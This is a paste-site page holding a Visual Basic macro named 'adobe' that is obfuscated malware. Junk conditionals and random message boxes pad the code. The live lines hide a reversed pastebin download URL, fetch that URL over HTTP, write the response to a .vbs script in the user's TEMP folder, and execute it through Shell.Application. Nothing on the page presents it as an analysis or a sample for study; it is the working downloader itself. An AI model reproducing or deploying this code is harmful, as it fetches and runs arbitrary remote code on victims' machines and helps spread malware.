Facebook
From Burly Earthworm, 6 Years ago, written in Visual Basic.
Embed
Download Paste or View Raw
Hits: 373
  1. Sub adobe()
  2. If 338496 = 338496 + 1 Then End
  3. If 1777 < 63 Then
  4. If 922166 = 922166 + 1 Then End
  5. If 9127 < 66 Then
  6. MsgBox ("mqbMRSGm18")
  7. End If
  8. If Len("kTtPMGkW1977") = Len("LoICefHZ") Then
  9. MsgBox ("Error !!!")
  10. End If
  11. MsgBox ("PgiqSBzW25")
  12.  
  13. End If
  14. If Len("mgRPvgyP4941") = Len("XKiVYDTj") Then
  15. If 754292 = 754292 + 1 Then End
  16. If 1597 < 98 Then
  17. MsgBox ("QDFQvwsl44")
  18. End If
  19. If Len("leKPUFuQ2447") = Len("dwjhnLmV") Then
  20. MsgBox ("Error !!!")
  21. End If
  22. MsgBox ("Error !!!")
  23.  
  24. End If
  25. If 289827 = 289827 + 1 Then End
  26. If 2795 < 83 Then
  27. MsgBox ("TWgPRntI35")
  28. End If
  29. If Len("ZjWbMEYp6168") = Len("tMcDezyH") Then
  30. MsgBox ("Error !!!")
  31. End If
  32. Set wwwwwwwWWWef = CreateObject("MSXML2.XMLHTTP")
  33.  
  34. If 668478 = 668478 + 1 Then End
  35. If 7326 < 76 Then
  36. If 843586 = 843586 + 1 Then End
  37. If 5284 < 56 Then
  38. MsgBox ("YdAPKvnz48")
  39. End If
  40. If Len("WDPjhqIS6134") = Len("GyoXohWN") Then
  41. MsgBox ("Error !!!")
  42. End If
  43. MsgBox ("wvzUYfHd21")
  44.  
  45. End If
  46. If Len("eFyTGYQR8176") = Len("ViRqIQBK") Then
  47. If 827956 = 827956 + 1 Then End
  48. If 8176 < 22 Then
  49. MsgBox ("sqNJjLlS98")
  50. End If
  51. If Len("WpxjepcA9927") = Len("xFNRqICo") Then
  52. MsgBox ("Error !!!")
  53. End If
  54. MsgBox ("Error !!!")
  55.  
  56. End If
  57. If 695995 = 695995 + 1 Then End
  58. If 3797 < 31 Then
  59. MsgBox ("lFOyNQPD14")
  60. End If
  61. If Len("UgJDcxKv4648") = Len("ZUhkjZtQ") Then
  62. MsgBox ("Error !!!")
  63. End If
  64. wwwwwwwWWWefsd = StrReverse("tth") + StrReverse("i?php.daolnwod/moc.nibetsap//:p") + StrReverse("tRagE7MK=")
  65.  
  66. If 766241 = 766241 + 1 Then End
  67. If 2353 < 78 Then
  68. If 358698 = 358698 + 1 Then End
  69. If 6276 < 37 Then
  70. MsgBox ("IntxJmEL41")
  71. End If
  72. If Len("BQYEKrLa1449") = Len("AgpJaZlU") Then
  73. MsgBox ("Error !!!")
  74. End If
  75. MsgBox ("iIXrnARR68")
  76.  
  77. End If
  78. If Len("cLcqZqMD3213") = Len("NxavPOll") Then
  79. If 311656 = 311656 + 1 Then End
  80. If 9855 < 26 Then
  81. MsgBox ("hfwirWWH18")
  82. End If
  83. If Len("hlmvCWTG3128") = Len("pSMrJNLe") Then
  84. MsgBox ("Error !!!")
  85. End If
  86. MsgBox ("Error !!!")
  87.  
  88. End If
  89. If 188696 = 188696 + 1 Then End
  90. If 7999 < 11 Then
  91. MsgBox ("cKtcDSsJ24")
  92. End If
  93. If Len("zcGWliBQ8749") = Len("hYpKCMaY") Then
  94. MsgBox ("Error !!!")
  95. End If
  96. Call wwwwwwwWWWef.Open("POST", wwwwwwwWWWefsd, False)
  97.  
  98. If 116312 = 116312 + 1 Then End
  99. If 8812 < 72 Then
  100. If 325834 = 325834 + 1 Then End
  101. If 3781 < 31 Then
  102. MsgBox ("NBPriiZI76")
  103. End If
  104. If Len("UhDzjAvN4641") = Len("ZIdUqYQf") Then
  105. MsgBox ("Error !!!")
  106. End If
  107. MsgBox ("LKJbwHlX65")
  108.  
  109. End If
  110. If Len("ulBuLZbY9662") = Len("aScQSUDM") Then
  111. If 772942 = 772942 + 1 Then End
  112. If 1421 < 79 Then
  113. MsgBox ("uDbJFajH69")
  114. End If
  115. If Len("cVaBHPYV2361") = Len("BARdVoyR") Then
  116. MsgBox ("Error !!!")
  117. End If
  118. MsgBox ("Error !!!")
  119.  
  120. End If
  121. If 538689 = 538689 + 1 Then End
  122. If 6928 < 86 Then
  123. MsgBox ("jiNGNOBv17")
  124. End If
  125. If Len("CcrDozMJ9282") = Len("ysQOTLTH") Then
  126. MsgBox ("Error !!!")
  127. End If
  128. wwwwwwwWWWef.Send
  129.  
  130. If 546418 = 546418 + 1 Then End
  131. If 2947 < 85 Then
  132. If 765841 = 765841 + 1 Then End
  133. If 7655 < 42 Then
  134. MsgBox ("uPFSBHDz83")
  135. End If
  136. If Len("ttlAgLgE8496") = Len("YOCGckDp") Then
  137. MsgBox ("Error !!!")
  138. End If
  139. MsgBox ("KcMdMJRB36")
  140.  
  141. End If
  142. If Len("AcjQYuIG6211") = Len("eaMBFTiw") Then
  143. If 564373 = 564373 + 1 Then End
  144. If 8698 < 89 Then
  145. MsgBox ("ALDHomVW91")
  146. End If
  147. If Len("ooHGkFMd9548") = Len("eAhlqLin") Then
  148. MsgBox ("Error !!!")
  149. End If
  150. MsgBox ("Error !!!")
  151.  
  152. End If
  153. If 329831 = 329831 + 1 Then End
  154. If 3195 < 96 Then
  155. MsgBox ("QdgOYkDo48")
  156. End If
  157. If Len("IIWbXmgP4955") = Len("pscStLFj") Then
  158. MsgBox ("Error !!!")
  159. End If
  160. Set wwwwwwwWWWefv = CreateObject("Scripting.FileSystemObject")
  161.  
  162. If 544281 = 544281 + 1 Then End
  163. If 6974 < 87 Then
  164. If 372139 = 372139 + 1 Then End
  165. If 7256 < 99 Then
  166. MsgBox ("rTmdDVxo82")
  167. End If
  168. If Len("rQlEUCuo1429") = Len("sbabrGJi") Then
  169. MsgBox ("Error !!!")
  170. End If
  171. MsgBox ("hsTlqlWT18")
  172.  
  173. End If
  174. If Len("XZOjlSHC9347") = Len("JWiXdKrq") Then
  175. If 664139 = 664139 + 1 Then End
  176. If 3135 < 96 Then
  177. MsgBox ("BTQVtNEn48")
  178. End If
  179. If Len("OTicJjUh7398") = Len("qoQPNGyX") Then
  180. MsgBox ("Error !!!")
  181. End If
  182. MsgBox ("Error !!!")
  183.  
  184. End If
  185. If 421477 = 421477 + 1 Then End
  186. If 1963 < 13 Then
  187. MsgBox ("pCjTfHDZ95")
  188. End If
  189. If Len("ccbsQAWf2713") = Len("lJVJRUin") Then
  190. MsgBox ("Error !!!")
  191. End If
  192. wwwwwwwWWWefvd = Environ("TEMP") & "\wwwwwwwWWWefs.vbs"
  193.  
  194. If 984352 = 984352 + 1 Then End
  195. If 3533 < 81 Then
  196. If 715935 = 715935 + 1 Then End
  197. If 1849 < 64 Then
  198. MsgBox ("ruFGZLkN87")
  199. End If
  200. If Len("mkhCEZUo4113") = Len("XWLpQayG") Then
  201. MsgBox ("Error !!!")
  202. End If
  203. MsgBox ("gJOtIluI71")
  204.  
  205. End If
  206. If Len("TzqdPexJ4383") = Len("uTDbKAXc") Then
  207. If 734318 = 734318 + 1 Then End
  208. If 4182 < 44 Then
  209. MsgBox ("DnGFrhvK27")
  210. End If
  211. If Len("DYFtVhoJ8355") = Len("IBdPJmxt") Then
  212. MsgBox ("Error !!!")
  213. End If
  214. MsgBox ("Error !!!")
  215.  
  216. End If
  217. If 337231 = 337231 + 1 Then End
  218. If 7962 < 35 Then
  219. MsgBox ("QhBNvjiz49")
  220. End If
  221. If Len("znninNcq1235") = Len("EremIvCJ") Then
  222. MsgBox ("Error !!!")
  223. End If
  224. Set wwwwwwwWWWefvdv = wwwwwwwWWWefv.CreateTextFile(wwwwwwwWWWefvd, 2)
  225.  
  226. If 565682 = 565682 + 1 Then End
  227. If 2495 < 27 Then
  228. If 851687 = 851687 + 1 Then End
  229. If 9148 < 94 Then
  230. MsgBox ("YhfLgqei49")
  231. End If
  232. If Len("fTjJcEBb1999") = Len("iVHxkOsD") Then
  233. MsgBox ("Error !!!")
  234. End If
  235. MsgBox ("fxSJumlS91")
  236.  
  237. End If
  238. If Len("ACMvRybx3355") = Len("xhlevsDP") Then
  239. If 716435 = 716435 + 1 Then End
  240. If 1754 < 63 Then
  241. MsgBox ("rtXqGQrX53")
  242. End If
  243. If Len("mhckHmmt2614") = Len("XLaTVLLQ") Then
  244. MsgBox ("Error !!!")
  245. End If
  246. MsgBox ("Error !!!")
  247.  
  248. End If
  249. If 387865 = 387865 + 1 Then End
  250. If 4521 < 62 Then
  251. MsgBox ("ePBaVKsl73")
  252. End If
  253. If Len("PNzBuqiQ7784") = Len("RlnRNjwB") Then
  254. MsgBox ("Error !!!")
  255. End If
  256. wwwwwwwWWWefvdv.Write wwwwwwwWWWef.ResponseText
  257.  
  258. If 895754 = 895754 + 1 Then End
  259. If 8854 < 21 Then
  260. If 253678 = 253678 + 1 Then End
  261. If 2433 < 55 Then
  262. MsgBox ("nnTnXpzX21")
  263. End If
  264. If Len("cWqhssEc3284") = Len("QrTdHBTl") Then
  265. MsgBox ("Error !!!")
  266. End If
  267. MsgBox ("daHRTmRG96")
  268.  
  269. End If
  270. If Len("CadekQIT9714") = Len("vRHjnpus") Then
  271. If 582975 = 582975 + 1 Then End
  272. If 7875 < 73 Then
  273. MsgBox ("byTvEiVi93")
  274. End If
  275. If Len("LanuiGxF8735") = Len("aGizTYiD") Then
  276. MsgBox ("Error !!!")
  277. End If
  278. MsgBox ("Error !!!")
  279.  
  280. End If
  281. If 415795 = 415795 + 1 Then End
  282. If 4954 < 95 Then
  283. MsgBox ("SyJThaEj57")
  284. End If
  285. If Len("PAxmYetK5815") = Len("stNIFARv") Then
  286. MsgBox ("Error !!!")
  287. End If
  288. wwwwwwwWWWefvdv.Close
  289.  
  290. If 245859 = 245859 + 1 Then End
  291. If 3981 < 57 Then
  292. If 754291 = 754291 + 1 Then End
  293. If 4381 < 61 Then
  294. MsgBox ("QSGQwHgk44")
  295. End If
  296. If Len("QKFzhHVj7554") = Len("MYwCDIOh") Then
  297. MsgBox ("Error !!!")
  298. End If
  299. MsgBox ("VqPNbOlu78")
  300.  
  301. End If
  302. If Len("TAFBIzfb6254") = Len("FgwMyMBv") Then
  303. If 172172 = 172172 + 1 Then End
  304. If 8215 < 47 Then
  305. MsgBox ("vDbVdosr99")
  306. End If
  307. If Len("iDXxBvhM2578") = Len("OjbPiCGn") Then
  308. MsgBox ("Error !!!")
  309. End If
  310. MsgBox ("Error !!!")
  311.  
  312. End If
  313. If 599952 = 599952 + 1 Then End
  314. If 2747 < 21 Then
  315. MsgBox ("qDpylldc94")
  316. End If
  317. If Len("bfkDJymi3698") = Len("lUHlQqIw") Then
  318. MsgBox ("Error !!!")
  319. End If
  320. Set wwwwwwwWWWefvdvs = CreateObject("Shell.Application")
  321.  
  322. wwwwwwwWWWefvdvs.Open Environ("TEMP") & "\wwwwwwwWWWefs.vbs"
  323. End Sub

Replies to Untitled rss

Title Name Language When
Re: Untitled Coral Hamerkop vb 6 Years ago.